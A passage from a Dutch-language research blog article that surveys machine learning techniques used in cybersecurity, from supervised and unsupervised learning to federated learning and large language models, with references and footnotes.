Hoe dan ook, ondanks mogelijke verbeteringen zou de wildgroei aan aankondigingen over AI op het gebied van cyberbeveiliging (Crowdstrike², Google³, Microsoft⁴ en SentinelOne⁵ hebben bijvoorbeeld onlangs het gebruik van generatieve AI in hun beveiligingsproducten aangekondigd) tot grote teleurstellingen kunnen leiden. Deze teleurstellingen kunnen nog worden verergerd door het feit dat de prestaties of nauwkeurigheid van cyberbeveiligingssystemen niet over de hele linie zijn gestandaardiseerd. Hierdoor wordt het moeilijk om verschillende systemen te vergelijken, er rijzen dan ook vragen als: “Wat is de beste manier om verschillende cyberbeveiligingssystemen te evalueren, te configureren of te vergelijken?” of “hebben we een universele methodologie om robuustheid en prestaties in alle of in verschillende scenario’s te beoordelen?” [6] of “Zou een systeem dat goed presteert op de gegevens van de fabrikant ook goed presteren op mijn eigen gegevens?” Meer prozaïsch, “wat zit er echt achter de term kunstmatige intelligentie wanneer deze wordt gebruikt in combinatie met cyberbeveiligingsproducten?”

Het antwoord op deze laatste vraag is verre van voor de hand liggend, gezien het grote aantal zeer verschillende technieken dat bij AI komt kijken. In het vervolg van dit artikel beschrijven we kort wat er achter de term “kunstmatige intelligentie” schuilgaat door een aantal basistechnieken te beschrijven die worden gebruikt in cyberbeveiliging. In volgende artikelen bespreken we het mogelijke gebruik van deze technieken voor zowel aanval als verdediging in de context van cyberbeveiliging.

Belangrijkste technieken voor machinaal leren

In de afgelopen tien jaar heeft machine learning aanzienlijke vooruitgang geboekt op een aantal verschillende gebieden, te beginnen met zogenaamde supervised modellen (de machine krijgt de klasse elementen die hij moet leren, bijvoorbeeld of een bepaalde transactie frauduleus of onschuldig is), dan unsupervised (de machine moet zelf de verschillende klassen ontdekken op basis van de gegevens), dan reinforcement learning (de machine krijgt een vorm van beloning als hij informatie correct classificeert). Figuur 1 toont de belangrijkste algoritmen voor machinaal leren die worden gebruikt in cyberbeveiliging.

Supervised learning

Modellen voor supervised learning worden getraind op gelabelde gegevens, d.w.z. voor elk item in de trainingsdataset wordt een categorie opgegeven. Een categorie kan binair zijn (bijv. “aanval” of “onschuldig”) of meervoudig (bijv. type aanval). Dit vereist kostbaar handmatig werk om de gegevens vooraf te categoriseren. Voor een cyberbeveiligingssysteem betekent dit bijvoorbeeld dat analisten elk stuk gegevens categoriseren dat ze hebben geanalyseerd, met de extra moeilijkheid dat er over het algemeen weinig voorbeelden van aanvallen zijn in vergelijking met de andere voorbeelden.

Leren bestaat dan uit het ontdekken, uit de gelabelde gegevens, van de kenmerken die geassocieerd worden met elke categorie en het bouwen van een model dat met een bepaalde waarschijnlijkheid kan vaststellen tot welke categorie een nieuw element behoort dat nog nooit gezien is tijdens het leren.

Deze gesuperviseerde systemen kunnen echter niet worden gebruikt om aanvalstypen te detecteren die hun nog niet bekend zijn. Sterker nog, hoewel supervised learning bijzonder goed werkt voor het herkennen van objecten in afbeeldingen, levert de detectie van cyberbeveiligingsbedreigingen bijzondere problemen op. Inderdaad, zoals opgemerkt door Apruzzese et al. [8], een sample die in de ene context als kwaadaardig wordt bestempeld, kan in een andere context onschuldig zijn, een sample kan speciaal zijn gemaakt om op een onschuldig sample te lijken, of een sample die vandaag als onschuldig wordt bestempeld, kan morgen gevaarlijk blijken te zijn.

Voorbeelden van algoritmen voor supervised learning zijn: decision trees (DT), random forests (RF), naïeve Bayes-classificatie⁶, neural networks (NN)⁷, support vector machines (SVM), etc.

Unsupervised learning

Algoritmen voor unsupervised learning leren daarentegen informatie en maken groepen op basis van alle trainingsgegevens, zonder de categorie van elk gegeven te kennen. Het verschil tussen supervised learning en unsupervised learning is dat de laatste geen categorielabels in de trainingsgegevens heeft.

Voorbeelden van algoritmen voor unsupervised learning zijn algoritmen die samples van hetzelfde type proberen te groeperen, zoals k-means partitionering en k-nearest neighbours (k-NN). Naast clusteren is het meer recente gebruik van auto-encoders een vrij populaire techniek voor het detecteren van anomalieën en, in het bijzonder, inbraken (bijv. [9]).

Een auto-encoder bestaat uit een inputlaag (encoder), verschillende verborgen lagen en een outputlaag (decoder). Het doel is om een gecomprimeerde representatie van bepaalde invoergegevens te leren. De encoder wordt gebruikt om de invoergegevens in kaart te brengen in een verborgen representatie, de decoder wordt gebruikt om de invoergegevens te reconstrueren uit een dergelijke representatie. Een encoder kan worden getraind met goedaardige gegevens om een normale voorstelling van het verkeer op een netwerk te leren. Vervolgens wordt tijdens de detectiefase een sample als abnormaal beschouwd als de reconstructiefout na codering groter is dan een bepaald niveau.

Semi-supervised learning

Semi-supervised learning is gebaseerd op zowel gelabelde als ongelabelde gegevens. Het benut efficiënte classificeerders die kleine hoeveelheden gelabelde gegevens nodig hebben door gebruik te maken van informatie verkregen uit grote sets ongelabelde gegevens. Veel onderzoekers hebben geconstateerd dat ongelabelde gegevens, indien gebruikt in combinatie met een kleine hoeveelheid gelabelde gegevens, de leernauwkeurigheid aanzienlijk kunnen verbeteren in vergelijking met unsupervised learning, maar zonder de tijd en kosten die nodig zijn voor supervised learning.

Bij actief leren [10] kan bijvoorbeeld een classificator die aanvankelijk is getraind op een kleine set gelabelde gegevens (bijv. “normal”, “rootkit”, “teardrop”⁸) worden gebruikt om een grote set ruwe gegevens te analyseren en vervolgens de meest voordelige samples “voor te stellen” om te labelen. Deze samples worden geselecteerd met behulp van een algoritme voor ongesuperviseerde anomaliedetectie. Vervolgens wordt een expert geraadpleegd om de voorgestelde samples te labelen en wordt het model bijgewerkt.

Verschillende auteurs hebben oplossingen met semi-supervised learning voorgesteld in verschillende cyberbeveiligingsdomeinen, of het nu gaat om malwaredetectie (bijv. [12]) of inbraakdetectie (bijv. [13]). Veel methoden zijn geïnspireerd op de populaire co-learning methode [14] die eind jaren 1990 werd voorgesteld.

Reinforcement learning

Reinforcement learning (RL) is gebaseerd op trial and error: een autonome agent leert om beslissingen te nemen in een gegeven omgeving. De omgeving beloont de agent al dan niet voor elke beslissing die hij neemt. De trainingsgegevens in reinforcement learning zijn een mix van gesuperviseerde en niet gesuperviseerde benaderingen: in plaats van gegevens te voorzien van het juiste label, verkent het algoritme acties tot ze juist zijn.

Ondanks het voordeel van reinforcement learning, dat zich kan aanpassen aan veranderingen in de omgeving, is er nog steeds één moeilijkheid die het gebruik ervan in cyberbeveiliging beperkt: het definiëren van de beloningsfunctie, met name op het gebied van inbraakdetectie [15], [16].

Federated machine learning

Geïntroduceerd door McMahan et al. [17], is federated learning een gedistribueerde en collaboratieve manier van machinaal leren. De machines die betrokken zijn bij het leren zijn niet verplicht om hun gegevens te delen en sturen slechts modellen die geleerd zijn van hun gegevens om bij te dragen aan een globaal model dat het resultaat is van het combineren van alle lokale modellen⁹.

Volgens Hernández-Ramos et al. [18] zou federated learning een belangrijke rol kunnen spelen op het gebied van cyberbeveiliging, omdat het afzonderlijke organisaties in staat zou kunnen stellen informatie over beveiligingsbedreigingen en aanvallen te delen zonder dat ze hun feitelijke en mogelijk gevoelige gegevens hoeven te delen¹⁰,¹¹. In hun analyse wijzen de auteurs erop dat het gebruik van federated machine learning op het gebied van inbraakdetectie de afgelopen jaren is toegenomen¹². Ondanks hun kosten en beperkingen worden supervised federated methods nog steeds het meest bestudeerd in vergelijking met unsupervised federated methods.

Large Language Models

Grote taalmodellen (Large Language Models, LLM) worden verkregen door unsupervised learning van diepe neurale netwerken¹³ die getraind zijn op zeer grote hoeveelheden ongelabelde tekst. Deze omvatten generative pre-trained transformers, (GPT) [20], [21], waarvan de belangrijkste functie is om statistisch het volgende woord in een tekstpassage te voorspellen¹⁴. Een meer gedetailleerde beschrijving van deze modellen is te vinden in [22].

Toepassingen van deze modellen op cyberbeveiliging zijn nog beperkt, omdat maar weinig toepassingen tekst en gegevens in natuurlijke taal gebruiken. Een intrigerend aspect van deze massale taalmodellen is echter de betwiste aanname dat ze emergente capaciteiten vertonen, die “niet aanwezig zijn in kleinschaligere modellen, maar wel in grootschalige modellen” [23], [24]. Dit roept de vraag op of deze opkomende capaciteiten ook cyberbeveiliging kunnen omvatten.

Eén benadering om LLM-architecturen te benutten is om transformers en andere architecturale aspecten van LLM’s te gebruiken en het model vooraf te trainen op beveiligingsgegevens. Hoewel transformers het meest bekend zijn om hun resultaten in natuurlijke taalverwerking, kunnen ze ook worden overwogen voor inbraakdetectie (bijvoorbeeld [25]).

Gezien de recente ontwikkelingen in generatieve modellen is het zeer waarschijnlijk dat deze in de komende jaren uitgebreid zullen worden bestudeerd voor de ontwikkeling van inbraakdetectie.

Conclusies

De belangstelling voor AI-technieken op het gebied van beveiliging is duidelijk, al is het maar gezien het grote aantal publicaties, literatuurartikelen over het onderwerp en cybersecurityproducten die prat gaan op het gebruik ervan.

Hoewel er geen twijfel over bestaat dat AI nuttig is voor het analyseren van bestaande gegevens, zijn de gegeven resultaten a priori, zoals we hebben gezien, gebaseerd op reeds waargenomen gegevens. Het gevolg is dat, ondanks de indrukwekkende reputatie van AI het doet vermoeden, het nog niet bewezen dat AI creatief vermogen heeft om nieuwe aanvalsvectoren te detecteren, die expertise en menselijke intuïtie vereisen. Bovendien hangt de beoordeling van een risico af van vele factoren die soms moeilijk te kwantificeren zijn, zoals de geopolitieke of sociaaleconomische context.

AI moet daarom worden gezien als een stap in de evolutie van de beveiliging, en niet als een complete revolutie. Zoals we in een toekomstig artikel zullen zien, speelt het een rol bij het verbeteren van de veiligheidspraktijken, maar mag het niet volledig in de plaats komen van menselijke interventie en besluitvorming.

Referenties

[1]        N. Fatès, ‘Que faire de l’expression intelligence artificielle ?’, Alliage : Culture-Science-Technique, nov. 2023.

[2]        M. Brundage e.a., ‘The malicious use of artificial intelligence: forecasting, prevention and mitigation’, feb. 2018.

[3]        C. Villani, ‘Donner un sens à l’intelligence artificielle – Pour une stratégie nationale et européenne’, mrt. 2018. [Online]. Beschikbaar op: https://www.vie-publique.fr/rapport/37225-donner-un-sens-lintelligence-artificielle-pour-une-strategie-nation

[4]        M. Taddeo, T. McCutcheon, en L. Floridi, ‘Trusting artificial intelligence in cybersecurity is a double-edged sword’, Nat Mach Intell, vol. 1, nr. 12, pp. 557-560, nov. 2019, doi: 10.1038/s42256-019-0109-1.

[5]        K. Renaud, M. Warkentin, en G. Westerman, ‘From ChatGPT to HackGPT: Meeting the cybersecurity threat of generative AI’, MIT Sloan Management Review, 18 april 2023.

[6]        D. Dasgupta, Z. Akhtar, en S. Sen, ‘Machine learning in cybersecurity: a comprehensive survey’, Journal of Defense Modeling & Simulation, vol. 19, nr. 1, pp. 57-106, jan. 2022, doi: 10.1177/1548512920951275.

[7]        G. Apruzzese e.a., ‘The role of machine learning in cybersecurity’, Digital Threats, vol. 4, nr. 1, pp. 1-38, mrt. 2023, doi: 10.1145/3545574.

[8]        G. Apruzzese, P. Laskov, en A. Tastemirova, ‘SoK: The impact of unlabelled data in cyberthreat detection’, in 2022 IEEE 7th European Symposium on Security and Privacy (EuroS&P), jun. 2022, pp. 20-42. doi: 10.1109/EuroSP53844.2022.00010.

[9]        Y. Mirsky, T. Doitshman, Y. Elovici, en A. Shabtai, ‘Kitsune: An ensemble of autoencoders for online network intrusion detection’. arXiv, 27 mei 2018. Geraadpleegd: 26 oktober 2023. [Online]. Beschikbaar op: http://arxiv.org/abs/1802.09089

[10]      K. Yang, J. Ren, Y. Zhu, en W. Zhang, ‘Active learning for wireless IoT intrusion detection’, IEEE Wireless Commun., vol. 25, nr. 6, pp. 19-25, dec. 2018, doi: 10.1109/MWC.2017.1800079.

[11]      ‘KDD Cup 1999 Data’. Geraadpleegd: 8 december 2023. [Online]. Beschikbaar op: http://kdd.ics.uci.edu/databases/kddcup99/kddcup99.html

[12]      J. Koza, M. Krčál, en M. Holeňa, ‘Two semi-supervised approaches to malware detection with neural networks’, gepresenteerd bij Information technologies – Applications and theory (ITAT), 2020.

[13]      L. Sun, Y. Zhou, Y. Wang, C. Zhu, en W. Zhang, ‘The effective methods for intrusion detection with limited network attack data: multi-task learning and oversampling’, IEEE Access, vol. 8, pp. 185384-185398, 2020, doi: 10.1109/ACCESS.2020.3029100.

[14]      A. Blum en T. Mitchell, ‘Combining labeled and unlabeled data with co-training’, in Proceedings of the eleventh annual conference on Computational learning theory, Madison Wisconsin USA: ACM, jul. 1998, pp. 92-100. doi: 10.1145/279943.279962.

[15]      E. Bertino, M. Kantarcioglu, C. G. Akcora, S. Samtani, S. Mittal, en M. Gupta, ‘AI for security and security for AI’, in Proceedings of the Eleventh ACM Conference on Data and Application Security and Privacy, Virtual Event USA: ACM, apr. 2021, pp. 333-334. doi: 10.1145/3422337.3450357.

[16]      M. Lopez-Martin, B. Carro, en A. Sanchez-Esguevillas, ‘Application of deep reinforcement learning to intrusion detection for supervised problems’, Expert Systems with Applications, vol. 141, p. 112963, mrt. 2020, doi: 10.1016/j.eswa.2019.112963.

[17]      H. B. McMahan, E. Moore, D. Ramage, en S. Hampson, ‘Communication-efficient learning of deep networks from decentralized data’, Proceedings of machine learning research, pp. 1273-1282, apr. 2017.

[18]      J. L. Hernández-Ramos e.a., ‘Intrusion detection based on federated learning: a systematic review’. arXiv, 18 augustus 2023. Geraadpleegd: 17 oktober 2023. [Online]. Beschikbaar op: http://arxiv.org/abs/2308.09522

[19]      E.-M. El-Mhamdi e.a., ‘On the impossible safety of large AI models’. arXiv, 9 mei 2023. Geraadpleegd: 17 oktober 2023. [Online]. Beschikbaar op: http://arxiv.org/abs/2209.15259

[20]      A. Vaswani e.a., ‘Attention is all you need’, Advances in neural information processing systems, vol. 30, 2017.

[21]      T. Lin, Y. Wang, X. Liu, en X. Qiu, ‘A survey of transformers’, AI Open, vol. 3, pp. 111-132, 2022, doi: 10.1016/j.aiopen.2022.10.001.

[22]      B. Vanhalst, ‘Een eigen vraag- en antwoordsysteem op basis van taalmodellen | Smals Research’, Smals Research Blog. Geraadpleegd: 17 oktober 2023. [Online]. Beschikbaar op: /een-eigen-vraag-en-antwoordsysteem-op-basis-van-taalmodellen/

[23]      J. Wei e.a., ‘Emergent abilities of large language models’. arXiv, 26 oktober 2022. Geraadpleegd: 9 november 2023. [Online]. Beschikbaar op: http://arxiv.org/abs/2206.07682

[24]      R. Schaeffer, B. Miranda, en S. Koyejo, ‘Are Emergent Abilities of Large Language Models a Mirage?’ arXiv, 22 mei 2023. Geraadpleegd: 9 november 2023. [Online]. Beschikbaar op: http://arxiv.org/abs/2304.15004

[25]      Z. Wu, H. Zhang, P. Wang, en Z. Sun, ‘RTIDS: A Robust Transformer-Based Approach for Intrusion Detection System’, IEEE Access, vol. 10, pp. 64375-64387, 2022, doi: 10.1109/ACCESS.2022.3182333.

Voetnoten 

¹  /1-an-chatgpt/

²  https://www.crowdstrike.com/blog/crowdstrike-introduces-charlotte-ai-to-deliver-generative-ai-powered-cybersecurity/

³  https://cloud.google.com/blog/products/identity-security/rsa-introducing-ai-powered-investigation-chronicle-security-operations

⁴  https://www.microsoft.com/en-us/security/business/ai-machine-learning/microsoft-security-copilot

⁵  https://www.sentinelone.com/blog/purple-ai-empowering-cybersecurity-analysts-with-ai-driven-threat-hunting-analysis-response/

⁶  De term naïef is gekoppeld aan het feit dat de methode uitgaat van een hoge mate van onafhankelijkheid van de gebruikte kenmerken.

⁷  Er zijn vele soorten kunstmatige neurale netwerken, waaronder feedforward neural networks (FFNN) – zoals de beroemde meerlaagse perceptron – convolutional neural networks (CNN), en recurrent neural networks (RNN).

⁸  Deze en verschillende andere labels worden gebruikt in de populaire KDD-99 dataset [11], die erg populair is in onderzoek naar inbraakdetectie.

⁹  Hoewel de soorten lokale modellen voor elke deelnemer verschillend kunnen zijn, houden maar weinig werken rekening met deze mogelijkheid. Bovendien gebruiken de meeste werken een gewogen gemiddelde om het centrale model bij te werken en kunnen ze niet goed rekening houden met de heterogeniteit van gegevens en apparaten.

¹⁰ Deze stimulans om te delen is in overeenstemming met de Europese regelgeving op het gebied van cyberbeveiliging, die het melden van cyberbeveiligingsincidenten verplicht stelt

¹¹ Toch wordt de veiligheid van deze federated models betwist [19].

¹² Het aantal publicaties over dit onderwerp is gestegen van minder dan 5 in 2018 naar meer dan 150 in 2022.

¹³ Dat wil zeggen, een neuraal netwerk met minstens twee opeenvolgende lagen neuronen.

¹⁴ Als het model groot genoeg is, blijkt dat niet alleen de grammatica van de menselijke talen kan worden geleerd, maar ook de betekenis van woorden, gemeenschappelijke kennis en primitieve logica. Als een model bijvoorbeeld het zinsfragment “De kat van mijn buurman is” als input krijgt, zal het veel eerder “grijs” of “mager” voorspellen dan “Franstalig”, ook al zijn alle drie de woorden bijvoeglijke naamwoorden. Op dezelfde manier kunnen we verwachten dat het model een coherente zin voorspelt als we een volledige zin opgeven.

_________________________

Dit is een ingezonden bijdrage van Fabien A. P. Petitcolas, IT-beveiligingsspecialist bij Smals Research. Dit artikel werd geschreven in eigen naam en neemt geen standpunt in namens Smals.